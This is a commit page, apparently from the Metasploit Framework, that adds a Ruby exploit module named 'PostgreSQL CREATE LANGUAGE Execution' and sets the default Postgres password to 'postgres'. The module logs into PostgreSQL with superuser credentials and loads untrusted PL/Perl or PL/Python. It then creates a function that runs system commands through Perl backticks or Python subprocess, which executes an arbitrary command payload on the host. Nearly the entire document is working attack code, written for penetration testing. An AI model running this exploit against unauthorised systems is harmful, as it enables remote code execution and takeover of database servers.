Land #6417, Add Postgres createlang - Code execution with dynamic langs
commit
437c6e19b9
|
@ -32,7 +32,7 @@ module Exploit::Remote::Postgres
|
|||
Opt::RPORT(5432),
|
||||
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
|
||||
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
|
||||
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
|
||||
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
|
||||
|
|
|
@ -0,0 +1,208 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/postgres'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
|
||||
'Description' => %q(
|
||||
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
|
||||
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
|
||||
To execute system commands, loading the "untrusted" version of the language is necessary.
|
||||
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
|
||||
and has been tested on OS X, Windows, and Linux.
|
||||
|
||||
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
|
||||
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
|
||||
|
||||
Only Postgres 8 and up are supported.
|
||||
),
|
||||
'Author' => [
|
||||
'Micheal Cottingham', # author of this module
|
||||
'midnitesnake', # the postgres_payload module that this is based on,
|
||||
'Nixawk' # Improves the module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
|
||||
],
|
||||
'Platform' => %w(linux unix win osx),
|
||||
'Payload' => {
|
||||
'PayloadType' => %w(cmd)
|
||||
},
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 1 2016'))
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
end
|
||||
|
||||
def postgres_major_version(version)
|
||||
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
|
||||
version_match['major_version']
|
||||
end
|
||||
|
||||
def check
|
||||
if vuln_version?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def vuln_version?
|
||||
version = postgres_fingerprint
|
||||
if version[:auth]
|
||||
major_version = postgres_major_version(version[:auth])
|
||||
return true if major_version && major_version.to_i >= 8
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def login_success?
|
||||
status = do_login(username, password, database)
|
||||
case status
|
||||
when :noauth
|
||||
print_error "#{peer} - Authentication failed"
|
||||
return false
|
||||
when :noconn
|
||||
print_error "#{peer} - Connection failed"
|
||||
return false
|
||||
else
|
||||
print_status "#{peer} - #{status}"
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def load_extension?(language)
|
||||
case load_procedural_language(language, 'LANGUAGE')
|
||||
when :exists
|
||||
print_good "#{peer} - #{language} is already loaded, continuing"
|
||||
return true
|
||||
when :loaded
|
||||
print_good "#{peer} - #{language} was successfully loaded, continuing"
|
||||
return true
|
||||
when :not_exists
|
||||
print_status "#{peer} - #{language} could not be loaded"
|
||||
return false
|
||||
else
|
||||
print_error "#{peer} - error occurred loading #{language}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def exec_function?(func_name)
|
||||
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
|
||||
select_query = postgres_query(query)
|
||||
|
||||
case select_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} - Exploit failed"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Exploit successful"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def create_function?(language, func_name)
|
||||
load_func = ''
|
||||
|
||||
case language
|
||||
when 'perl'
|
||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
|
||||
query << "`$_[0]`;"
|
||||
query << "$$ LANGUAGE pl#{language}u"
|
||||
load_func = postgres_query(query)
|
||||
when /^python(?:2|3)?/i
|
||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
||||
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
|
||||
query << "$$ LANGUAGE pl#{language}u"
|
||||
load_func = postgres_query(query)
|
||||
end
|
||||
|
||||
case load_func.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} Exploit failed"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def load_procedural_language(language, extension)
|
||||
query = "CREATE #{extension} pl#{language}u"
|
||||
load_language = postgres_query(query)
|
||||
return :loaded unless load_language.keys[0] == :sql_error
|
||||
|
||||
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
||||
return :exists if match_exists
|
||||
|
||||
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
|
||||
return :not_exists if match_error
|
||||
end
|
||||
|
||||
def do_login(user, pass, database)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
result = postgres_fingerprint(
|
||||
db: database,
|
||||
username: user,
|
||||
password: password
|
||||
)
|
||||
|
||||
return result[:auth] if result[:auth]
|
||||
print_status "#{peer} - Login failed"
|
||||
return :noauth
|
||||
|
||||
rescue Rex::ConnectionError
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
return unless vuln_version?
|
||||
return unless login_success?
|
||||
|
||||
languages = %w(perl python python2 python3)
|
||||
languages.each do |language|
|
||||
next unless load_extension?(language)
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
next unless create_function?(language, func_name)
|
||||
if exec_function?(func_name)
|
||||
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
|
||||
break
|
||||
end
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue